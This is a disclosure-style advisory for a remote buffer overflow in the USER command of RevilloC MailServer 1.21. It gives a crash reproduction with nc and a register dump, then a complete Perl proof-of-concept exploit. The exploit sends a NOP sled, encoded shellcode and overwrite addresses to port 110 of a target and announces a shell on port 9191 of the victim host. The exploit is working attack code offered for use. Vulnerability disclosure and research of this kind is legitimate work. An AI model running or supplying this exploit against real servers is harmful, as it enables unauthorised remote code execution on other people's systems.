RevilloC MailServer 1.x "USER" Command Handling Remote Buffer Overflow Exploit

[<securma@xxxxxxxx>]

Product:
RevilloC MailServer and Proxy v 1.21 (http://www.revilloC.com)
The mail server is a central point for emails coming in and going out from
home or office.
The service will work with any standard email client that supports POP3 and
SMTP.

Vulnerability Description:
sending a large buffer  after USER commands
C:\>nc 127.0.0.1 110
+OK RevilloC POP3 Ready
USER  "A" x4081 + "\xff"x4 + "\xdd"x4 + "\x0d\x0a"
causes access violation when reading [dddddddd].
ntdll!wcsncat+0x387:
7C92B3FB   8B0B             MOV ECX,DWORD PTR DS:[EBX] --->EBX pointe to
"\xdd"x4
ECX   dddddddd
EAX   FFFFFFFF

Status:
14/01/2006  Vendor contacted, No response

solution:
no patch no solution...use another mail server

crédit:
securma massine - morXresearch security team
http://www.morx.org

greets:
greets all morX members,undisputed and sara

PoC exploit:
#!/usr/bin/perl -w
use IO::Socket;
                    if ($#ARGV<0)
                   {
                        print "\n write the target IP!! \n\n";
                      exit;
                    }

       $shellcode =
"\xEB\x03\x5D\xEB\x05\xE8\xF8\xFF\xFF\xFF\x8B\xC5\x83\xC0\x11\x33".
                     "\xC9\x66\xB9\xC9\x01\x80\x30\x88\x40\xE2\xFA\xDD\x03\x64\x03\x7C".
                     "\x09\x64\x08\x88\x88\x88\x60\xC4\x89\x88\x88\x01\xCE\x74\x77\xFE".
                     "\x74\xE0\x06\xC6\x86\x64\x60\xD9\x89\x88\x88\x01\xCE\x4E\xE0\xBB".
                     "\xBA\x88\x88\xE0\xFF\xFB\xBA\xD7\xDC\x77\xDE\x4E\x01\xCE\x70\x77".
                     "\xFE\x74\xE0\x25\x51\x8D\x46\x60\xB8\x89\x88\x88\x01\xCE\x5A\x77".
                     "\xFE\x74\xE0\xFA\x76\x3B\x9E\x60\xA8\x89\x88\x88\x01\xCE\x46\x77".
                     "\xFE\x74\xE0\x67\x46\x68\xE8\x60\x98\x89\x88\x88\x01\xCE\x42\x77".
                     "\xFE\x70\xE0\x43\x65\x74\xB3\x60\x88\x89\x88\x88\x01\xCE\x7C\x77".
                     "\xFE\x70\xE0\x51\x81\x7D\x25\x60\x78\x88\x88\x88\x01\xCE\x78\x77".
                     "\xFE\x70\xE0\x2C\x92\xF8\x4F\x60\x68\x88\x88\x88\x01\xCE\x64\x77".
                     "\xFE\x70\xE0\x2C\x25\xA6\x61\x60\x58\x88\x88\x88\x01\xCE\x60\x77".
                     "\xFE\x70\xE0\x6D\xC1\x0E\xC1\x60\x48\x88\x88\x88\x01\xCE\x6A\x77".
                     "\xFE\x70\xE0\x6F\xF1\x4E\xF1\x60\x38\x88\x88\x88\x01\xCE\x5E\xBB".
                     "\x77\x09\x64\x7C\x89\x88\x88\xDC\xE0\x89\x89\x88\x88\x77\xDE\x7C".
                     "\xD8\xD8\xD8\xD8\xC8\xD8\xC8\xD8\x77\xDE\x78\x03\x50\xDF\xDF\xE0".
                     "\x8A\x88\xAB\x6F\x03\x44\xE2\x9E\xD9\xDB\x77\xDE\x64\xDF\xDB\x77".
                     "\xDE\x60\xBB\x77\xDF\xD9\xDB\x77\xDE\x6A\x03\x58\x01\xCE\x36\xE0".
                     "\xEB\xE5\xEC\x88\x01\xEE\x4A\x0B\x4C\x24\x05\xB4\xAC\xBB\x48\xBB".
                     "\x41\x08\x49\x9D\x23\x6A\x75\x4E\xCC\xAC\x98\xCC\x76\xCC\xAC\xB5".
                     "\x01\xDC\xAC\xC0\x01\xDC\xAC\xC4\x01\xDC\xAC\xD8\x05\xCC\xAC\x98".
                     "\xDC\xD8\xD9\xD9\xD9\xC9\xD9\xC1\xD9\xD9\x77\xFE\x4A\xD9\x77\xDE".
                     "\x46\x03\x44\xE2\x77\x77\xB9\x77\xDE\x5A\x03\x40\x77\xFE\x36\x77".
                     "\xDE\x5E\x63\x16\x77\xDE\x9C\xDE\xEC\x29\xB8\x88\x88\x88\x03\xC8".
                     "\x84\x03\xF8\x94\x25\x03\xC8\x80\xD6\x4A\x8C\x88\xDB\xDD\xDE\xDF".
                     "\x03\xE4\xAC\x90\x03\xCD\xB4\x03\xDC\x8D\xF0\x8B\x5D\x03\xC2\x90".
                     "\x03\xD2\xA8\x8B\x55\x6B\xBA\xC1\x03\xBC\x03\x8B\x7D\xBB\x77\x74".
                     "\xBB\x48\x24\xB2\x4C\xFC\x8F\x49\x47\x85\x8B\x70\x63\x7A\xB3\xF4".
                     "\xAC\x9C\xFD\x69\x03\xD2\xAC\x8B\x55\xEE\x03\x84\xC3\x03\xD2\x94".
                     "\x8B\x55\x03\x8C\x03\x8B\x4D\x63\x8A\xBB\x48\x03\x5D\xD7\xD6\xD5".
                     "\xD3\x4A\x8C\x88";
               $buffer = "\x90"x3601;
               $eax ="\x83\xb5\x19\x01"; # change if needed
               $peb= "\x20\xf0\xfd\x7f"; #PEB lock
               $user ="USER  ";
               $enter  = "\x0d\x0a";
               $connect = IO::Socket::INET ->new (Proto=>"tcp",
      PeerAddr=> "$ARGV[0]",
      PeerPort=>"110"); unless ($connect) { die "cant connect" }
               print "\nRevilloC mail server remote PoC exploit by securma
massine\n";
               print "\nsecurma\@morx.org\n";
               print "\n+++++++++++www.morx.org++++++++++++++++\n";
               $connect->recv($text,128);
               print "$text\n";
               print "[+] Sent USER\n";
               $connect->send($user . $buffer . $shellcode . $eax . $peb .
$enter);
      print "[+] Sent shellcode..telnet to victim host port 9191\n";